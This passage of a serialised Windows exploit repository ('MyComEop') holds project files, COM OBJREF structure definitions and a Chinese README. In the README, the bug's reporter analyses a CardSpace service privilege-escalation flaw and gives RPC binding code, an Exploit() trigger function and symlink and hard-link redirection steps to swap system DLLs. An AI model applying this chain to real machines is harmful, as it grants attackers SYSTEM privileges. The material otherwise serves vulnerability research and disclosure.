<OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClInclude Include=\"..\\MyComDefine\\resolver_h.h\" />\n    <ClInclude Include=\"resource.h\" />\n    <ClInclude Include=\"stdafx.h\" />\n    <ClInclude Include=\"targetver.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\MyComDefine\\resolver_c.c\" />\n    <ClCompile Include=\"MyComEop.cpp\" />\n    <ClCompile Include=\"stdafx.cpp\">\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Create</PrecompiledHeader>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"MyComEop.rc\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "MyComEop/MyComEop.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"源文件\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"头文件\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"资源文件\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"stdafx.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"targetver.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"resource.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\MyComDefine\\resolver_h.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"stdafx.cpp\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"MyComEop.cpp\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\MyComDefine\\resolver_c.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"MyComEop.rc\">\n      <Filter>资源文件</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "MyComEop/MyComEop.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <RemoteDebuggerCommand>C:\\dl\\test\\ifc\\MyComEop.exe</RemoteDebuggerCommand>\n    <RemoteDebuggerServerName>10.120.1.227</RemoteDebuggerServerName>\n    <RemoteDebuggerConnection>RemoteWithoutAuthentication</RemoteDebuggerConnection>\n    <RemoteDebuggerAttach>false</RemoteDebuggerAttach>\n    <DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>\n    <RemoteDebuggerWorkingDirectory>C:\\dl\\test\\ifc</RemoteDebuggerWorkingDirectory>\n    <DeploymentDirectory>C:\\dl\\test\\ifc</DeploymentDirectory>\n    <RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <RemoteDebuggerCommand>C:\\dl\\test\\ifc\\MyComEop.exe</RemoteDebuggerCommand>\n    <RemoteDebuggerServerName>10.120.1.217</RemoteDebuggerServerName>\n    <DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>\n    <RemoteDebuggerConnection>RemoteWithoutAuthentication</RemoteDebuggerConnection>\n    <RemoteDebuggerAttach>false</RemoteDebuggerAttach>\n    <RemoteDebuggerWorkingDirectory>C:\\dl\\test\\ifc</RemoteDebuggerWorkingDirectory>\n    <DeploymentDirectory>C:\\dl\\test\\ifc</DeploymentDirectory>\n    <RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "MyComEop/stdafx.cpp",
    "content": "// stdafx.cpp : ֻ׼ļԴļ\n// MyComEop.pch ΪԤͷ\n// stdafx.obj ԤϢ\n\n#include \"stdafx.h\"\n\n// TODO:   STDAFX.H \n// κĸͷļڴļ\n"
  },
  {
    "path": "MyComEop/stdafx.h",
    "content": "// stdafx.h : ׼ϵͳļİļ\n// Ǿʹõĵ\n// ضĿİļ\n//\n\n#ifdef ARRAYSIZE\n#define countof(a) (ARRAYSIZE(a)) // (sizeof((a))/(sizeof(*(a))))\n#else\n#define countof(a) (sizeof((a)) / (sizeof(*(a))))\n\n#endif\n\n\n\n\n\n\n#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers\n#define RPC_USE_NATIVE_WCHAR\n\n\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n#include <bits.h>\n#include <bits4_0.h>\n#include <tchar.h>\n#include <string>\n#include <vector>\n#include <strsafe.h>\n#include <comdef.h>\n#include <winternl.h>\n#include <Shlwapi.h>\n#include <AclAPI.h>\n#include <Shlwapi.h>\n#include <Sddl.h>\n#include <atlbase.h>\n#include <shellapi.h>\n\n\n\ntypedef LUID OXID;\ntypedef LUID OID;\ntypedef GUID\tIPID;\n\ntypedef struct tagDUALSTRINGARRAY    {\n\tunsigned short wNumEntries;     // Number of entries in array.\n\tunsigned short wSecurityOffset; // Offset of security info.\n\tunsigned short aStringArray[];\n} DUALSTRINGARRAY;\n\ntypedef struct tagSTDOBJREF    {\n\tDWORD   flags;\n\tDWORD   cPublicRefs;\n\tOXID           oxid;\n\tOID            oid;\n\tIPID           ipid;\n} STDOBJREF;\n\ntypedef struct tagOBJREF    {\n\tunsigned long signature;//MEOW\n\tunsigned long flags;\n\tGUID          iid;\n\tunion        {\n\t\tstruct            {\n\t\t\tSTDOBJREF       std;\n\t\t\tDUALSTRINGARRAY saResAddr;\n\t\t} u_standard;\n\t\tstruct            {\n\t\t\tSTDOBJREF       std;\n\t\t\tCLSID           clsid;\n\t\t\tDUALSTRINGARRAY saResAddr;\n\t\t} u_handler;\n\t\tstruct            {\n\t\t\tCLSID           clsid;\n\t\t\tunsigned long   cbExtension;\n\t\t\tunsigned long   size;\n\t\t\tULONGLONG pData;\n\t\t} u_custom;\n\t} u_objref;\n} OBJREF;\n"
  },
  {
    "path": "MyComEop/targetver.h",
    "content": "#pragma once\n\n//  SDKDDKVer.h õ߰汾 Windows ƽ̨\n\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\n\n#include <SDKDDKVer.h>\n"
  },
  {
    "path": "MyComEop.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2013\nVisualStudioVersion = 12.0.40629.0\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"MyComEop\", \"MyComEop\\MyComEop.vcxproj\", \"{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"MyComDefine\", \"MyComDefine\\MyComDefine.vcxproj\", \"{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"CommonUtils\", \"CommonUtils\\CommonUtils.vcxproj\", \"{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug_MultiByte|Any CPU = Debug_MultiByte|Any CPU\n\t\tDebug_MultiByte|Mixed Platforms = Debug_MultiByte|Mixed Platforms\n\t\tDebug_MultiByte|Win32 = Debug_MultiByte|Win32\n\t\tDebug_MultiByte|x64 = Debug_MultiByte|x64\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tDebug|Mixed Platforms = Debug|Mixed Platforms\n\t\tDebug|Win32 = Debug|Win32\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|Any CPU = Release|Any CPU\n\t\tRelease|Mixed Platforms = Release|Mixed Platforms\n\t\tRelease|Win32 = Release|Win32\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Any CPU.ActiveCfg = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Mixed Platforms.ActiveCfg = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Mixed Platforms.Build.0 = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Win32.ActiveCfg = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Win32.Build.0 = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|x64.ActiveCfg = Debug|x64\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|x64.Build.0 = Debug|x64\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Any CPU.ActiveCfg = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Mixed Platforms.Build.0 = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|x64.Build.0 = Debug|x64\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|x64.Deploy.0 = Debug|x64\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Any CPU.ActiveCfg = Release|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Mixed Platforms.ActiveCfg = Release|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Mixed Platforms.Build.0 = Release|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Win32.Build.0 = Release|Win32\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|x64.ActiveCfg = Release|x64\n\t\t{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|x64.Build.0 = Release|x64\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Any CPU.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Mixed Platforms.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Mixed Platforms.Build.0 = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Win32.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Win32.Build.0 = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|x64.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Any CPU.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Mixed Platforms.Build.0 = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Any CPU.ActiveCfg = Release|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Mixed Platforms.ActiveCfg = Release|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Mixed Platforms.Build.0 = Release|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Win32.Build.0 = Release|Win32\n\t\t{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|x64.ActiveCfg = Release|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Any CPU.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Mixed Platforms.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Mixed Platforms.Build.0 = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Win32.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Win32.Build.0 = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|x64.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Any CPU.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Mixed Platforms.Build.0 = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x64.ActiveCfg = Debug|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Any CPU.ActiveCfg = Release|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Mixed Platforms.ActiveCfg = Release|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Mixed Platforms.Build.0 = Release|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Win32.Build.0 = Release|Win32\n\t\t{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x64.ActiveCfg = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "MyComEop.sln.DotSettings.user",
    "content": "﻿<wpf:ResourceDictionary xml:space=\"preserve\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:s=\"clr-namespace:System;assembly=mscorlib\" xmlns:ss=\"urn:shemas-jetbrains-com:settings-storage-xaml\" xmlns:wpf=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\">\n\t<s:Boolean x:Key=\"/Default/CodeStyle/Naming/CSharpAutoNaming/IsNamingAutoDetectionCompleted/@EntryValue\">True</s:Boolean>\n\t<s:Boolean x:Key=\"/Default/CodeStyle/Naming/CSharpAutoNaming/IsNotificationDisabled/@EntryValue\">True</s:Boolean></wpf:ResourceDictionary>"
  },
  {
    "path": "README.md",
    "content": "#### 引用 ####\n\n>这个漏洞属于Windows CardSpace服务未正确处理符号链接对象导致的任意文件替换的本地权限提升漏洞 \n\n#### 申明 ####\n\n作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关\n\n#### 目录 ####\n\n[toc]\n\n#### 分析 ####\n\n##### 漏洞影响范围 #####\n\n适用于Windows7和Windows Server 2008 R2的普通用户和开启特殊配置的IIS用户\n\n##### 漏洞原理分析 #####\n\n笔者是漏洞的提交者,漏洞更新于2020年5月.漏洞来自于Windows7和Windows Server 2008 R2的Windows CardSpace服务(简称idsvc),该服务可由任意用户启动,本身以System权限运行,并提供公开的RPC调用,服务在由用户触发移动位于当前用户环境变量%APPDATA%目录下指定配置文件时未正确处理符号链接对象,导致任意文件替换的本地权限提升,这是漏洞的成因.\n由于是利用基于RPC调用就需要先获取服务的接口[MIDL](https://docs.microsoft.com/en-us/windows/win32/midl/midl-start-page),这样才能编写本地代码与之交互.笔者推荐使用[RpcView工具](https://github.com/silverf0x/RpcView),具体方法可以参考[RPC漏洞挖掘系列文章](https://www.anquanke.com/post/id/167427).\n先使用如下方法获取符号文件,并在工具中进行符号配置,之后就可以反编译出RPC接口IDL文件,具体方法如下\n```\n//先配置环境变量[_NT_SYMBOL_PATH]值如下\nSRV*C:\\symbols*http://msdl.microsoft.com/download/symbols/\n//手动下载符号,symchk.exe在windbg目录下\nsymchk.exe \"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\" /v \n//在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写\nsrv*C:\\symbols\n```\n![点击看大图](https://ftp.bmp.ovh/imgs/2020/05/094f6ab7bb556200.png)\n通过工具获取其中由3个重要的数据,Rpc协议的类型,协议名称和协议接口的客户端定义文件(编译IDL文件文件生成的.c文件,见左侧Decompilation文本框),这样就可以用如下方法绑定Rpc服务了\n```\nBOOL StartRpcService()\n{\n\tRPC_STATUS status;\n\tunsigned int  cMinCalls = 1;\n\tRPC_BINDING_HANDLE v5;\n\tRPC_SECURITY_QOS SecurityQOS = {};\n\tRPC_WSTR StringBinding = nullptr;\n\tif (StartConnectingService())\n\t{\n       //Rpc协议的类型,协议名称\n\t\tstatus = RpcStringBindingComposeW(nullptr, L\"ncalrpc\", 0, L\"31336F38236F3E2C6F3F2E6F20336F20236F21326F\", nullptr, &StringBinding);\n\t\tif (status){\n\t\t\tprintf(\"RpcStringBindingComposeW Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\t\tstatus = RpcBindingFromStringBindingW(StringBinding, &hBinding);\n\t\tRpcStringFreeW(&StringBinding);\n\t\tif (status){\n\t\t\tprintf(\"RpcBindingFromStringBindingW Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\t\tSecurityQOS.Version = 1;\n\t\tSecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;\n\t\tSecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;\n\t\tSecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;\n\t\tstatus = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);\n\t\tif (status){\n\t\t\tprintf(\"RpcBindingSetAuthInfoExW Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n        //绑定接口\n\t\tstatus = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);\n\t\tif (status){\n\t\t\tprintf(\"RpcEpResolveBinding Failed:%d\\n\", status);\n\t\t\treturn(status);\n\t\t}\n\t}\n\telse\n\t{\n\t\tprintf(\"Start Connecting Windows Cardspace Service Failed\");\n\t\treturn 0;\n\t}\n\treturn 0;\n}\n```\n通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理\n```\n    //全局RPC接口的全局处理程序\n internal static int ProcessNewRequest(  int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs)\n        {\n           ...\n           //初次调用\n                if (parentRequestHandle == 0)\n                {\n                    using (UIAgentMonitorHandle monitorHandle = new \nUIAgentMonitorHandle())\n                    {\n                        using (ClientRequest clientRequestInstance = \nRequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, \nrpcHandle, inStream, (Stream)outStream))\n                        {\n\n                            string extendedMessage;\n//反射出来后执行实例的DoProcessRequest方法处理请求\n                            num = clientRequestInstance.DoProcessRequest(out \nextendedMessage);\n                            RpcResponse outArgs1;\n                            RequestFactory.ConvertStreamToIntPtr(outStream, out \noutArgs1);\n//返回结果\n                            outArgs = outArgs1.Marshal();       \n                        }\n                   }\n              }\n```\nidsvc服务会根据RpcRequest->Type字段种的类名反射出相应类处理回调,这里poc使用的是\"ManageRequest\"类;\n```\n private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)\n        {\n            ClientRequest clientRequest = (ClientRequest)null;\n            lock (RequestFactory.s_createRequestSync)\n            {              \n                RequestFactory.RequestName request = \nRequestFactory.s_requestMap[reqName];\n                if (-1 != \nArray.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests, \nrequest))\n                {\n                    Process contextMapping = \nClientUIRequest.GetContextMapping(rpcHandle, true);\n                    InfoCardTrace.ThrowInvalidArgumentConditional(null == \ncontextMapping, nameof(rpcHandle));               \n                   WindowsIdentity executionIdentity = \nNativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);\n                    InfoCardUIAgent agent = \nmonitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);\n                    switch (RequestFactory.s_requestMap[reqName])\n                    {                       \n//这里使用的是\"ManageRequest\"类;\n                        case RequestFactory.RequestName.ManageRequest:\n\n                            clientRequest = (ClientRequest)new \nManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, \noutStream);\n                            break;                    \n\n                    }\n                }\n\n```\n触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点.\n在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件,默认为用户环境变量%APPDATA%目录下指定配置文件,对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现,点击应用程序池->高级设置.\n![点击看大图](https://ftp.bmp.ovh/imgs/2020/05/2876914176e59f9b.jpg)\n```\n//构造函数\n  protected StoreConnection(WindowsIdentity identity)\n\n    {\n     //这里的identity也就客户端身份\n      this.m_identity = new WindowsIdentity(identity.Token);      \n//获取用户环境变量的%APPDATA%\n      this.m_path = \nPath.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), \"Microsoft\\\\CardSpace\\\\\");\n      this.m_localSource = this.m_path + \"CardSpaceSP2.db\";      \n    }     \nprotected virtual void CreateDefaultDataSources(Hashtable list)\n   {\n      string str = this.m_path + \"CardSpace.db\";\n//进入using块使用的idsvc服务身份,离开块后继续Impersonate Client\n      using (new SystemIdentity(true))\n      {\n      ....\n        if (File.Exists(str))\n        {\n           //替换文件,内部实现就是File.MoveTo等函数\n          this.AtomicFileCopy(str, this.m_localSource);\n        }       \n     }\n...      \n  protected void AtomicFileCopy(string source, string destination)\n    {\n      if (!File.Exists(source))\n        return;\n        //加上.atomic后缀,移动文件\n      File.Copy(source, source + \".atomic\", true);\n      FileInfo fileInfo = new FileInfo(source + \".atomic\");\n      if (fileInfo.Length == 0L)\n        return;\n      fileInfo.MoveTo(destination);\n    }\n```\nidsvc服务通过new SystemIdentity(true)切换回idsvc服务身份,调用AtomicFileCopy移动用户配置文件.在默认配置下%APPDATA%目录下的文件在可由当前用户可完全控制.当高权限进程对低权限进程可控制文件进行删除,移动,复制,设置属性等操作时,低权限进程均可利用此特权做一些其他操作.James Forshaw[@tiraniddo](https://twitter.com/tiraniddo)为我们提供了一套[开源工具](https://github.com/googleprojectzero/symboliclink-testing-tools),他在NTFS文件系统和Windows内部的开创性工作完成了所有繁重工作,实现了几种滥用Windows文件系统和路径解析功能的技术和利用方法.NTFS文件系统允许将一个用户控制目录挂载到另一个用户控制目录(挂载点Volume Mount Points和交叉点Junction Points),也允许通过符号链接Symbolic Links(NTFS重解析点Reparse Points)将一个目标链接至另一个,和硬链接(Hard Link)将一个用户可控制文件链接至另一个可读文件,以上方式均可导致恶意攻击者滥用高特权进程执行文件操作.对于poc中的利用,可使用如下两种方式对源文件和目标文件创建相应符号链接,第一种方式为挂载点和硬链接,这种方式只适用于win7,硬链接已被微软缓解,具体原因见[分析](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08),第二种方式仍然可在win10实现利用,原理是通过任意用户可写对象目录\\RPC Control链接至指定目录,然后继续链接\\RPC Control目录下文件至指定文件,具体方式如下,关于符号链接的相关可以参考[上篇](https://www.4hou.com/posts/qV8D)和[下篇](https://www.4hou.com/posts/rE7B),这里不再赘述\n```\n第一种方式, 挂载点和硬链接\nC:\\workspace\\mountpoint ->  C:\\Users\\Username\\AppData\\Local\\Microsoft\\CardSpace\n源文件(挂载点) = C:\\workspace\\mountpoint\\CardSpace.db(Fake.dll) -> C:\\Users\\Username\\AppData\\Local\\Microsoft\\CardSpace\\CardSpace.db\n目标文件(硬链接) =C:\\Users\\Username\\AppData\\Local\\Microsoft\\CardSpace\\CardSpace.db.atomic ->  C:\\Evil.dll\n第二种方式,符号链接至 \\RPC Control\nC:\\Users\\Username\\AppData\\Local\\Microsoft\\CardSpace -> \\RPC Control\n源文件 = C:\\Users\\Username\\AppData\\Local\\Microsoft\\CardSpace\\CardSpace.db ->\\RPC Control\\CardSpace.db\n目标文件 =C:\\Users\\Username\\AppData\\Local\\Microsoft\\CardSpace\\CardSpace.db.atomic -> \\RPC Control\\CardSpace.db.atomic\n源文件 = \\RPC Control\\CardSpace.db ->C:\\Fake.dll \n目标文件 = \\RPC Control\\CardSpace.db.atomic -> C:\\Evil.dll\n```\n![查看大图](https://ftp.bmp.ovh/imgs/2020/05/ceb01a06f81a8bba.png)\n从Process Monitor看出idsvc服务移动文件时并没使用模拟(Impersonate)用户身份操作,也没有判断文件的符号链接属性,就导致任意文件替换权限提升漏洞,以下是漏洞利用关键代码\n```\nBOOL Exploit()\n{\n\tRpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));\n\treq->Type = L\"ManageRequest\";\n\treq->Length = 0;\n\treq->Data = 0;\n\tRpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));\n\tUINT32* ctx = 0;\n\tlong ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);\n\tprintf(\"Proc0_RPCClientBindToService :%d\\n\", ret);\n\tret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);\n\tprintf(\"Proc2_RPCDispatchClientUIRequest :%08x\\n\", ret);\n\treturn 0;\n}\n```\n\n##### 漏洞利用分析 #####\n\n笔者设计了一种新的基于任意文件替换的提权利用方式,原型来自[CVE-2017-0213](https://www.exploit-db.com/exploits/42020/),这种方式适用于Windows7至Windows10所有版本操作系统,但前提是要被替换的文件不是TrustedInstaller控制权限,才可以触发漏洞,原因是TrustedInstaller权限高于其他权限,如果直接执行替换操作,即使是以System权限操作结果都是拒绝访问,一般只有管理员权限或者System权限的文件才符合条件.笔者制作了一个[工具](https://gitee.com/cbwang505/TypeLibUnmarshaler)用于搜索指定目录下可替换文件,在相关项目列表中提供,也可以使用微软[SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite)中的accesschk工具,启动命令行如下,最后一个参数为指定目录文件\n```\n//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件\naccesschk.exe -s -w  \"nt authority\\system\"  